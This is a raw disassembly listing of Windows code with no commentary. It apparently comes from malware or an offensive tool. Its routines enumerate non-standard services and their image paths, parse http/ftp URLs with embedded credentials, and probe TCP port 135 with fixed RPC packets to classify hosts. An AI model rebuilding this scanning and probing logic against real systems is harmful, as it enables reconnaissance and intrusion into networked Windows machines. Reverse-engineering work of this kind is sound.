var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		call	near ptr 2900A6Dh
		nop
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44530C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset aNla	; "Nla"
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_511764


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		call	near ptr 28E0000h
		nop
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		nop
		call	near ptr 2910346h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2880B84h
		push	eax
		nop
		call	near ptr 2880000h
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB24, eax
		mov	eax, offset dword_50DB24
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi	; ftell
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453E0 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_4453E0 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453E0 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DA8
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_444E1C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset loc_444DF4
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_444E08
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		call	near ptr 71AB9639h
		nop


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


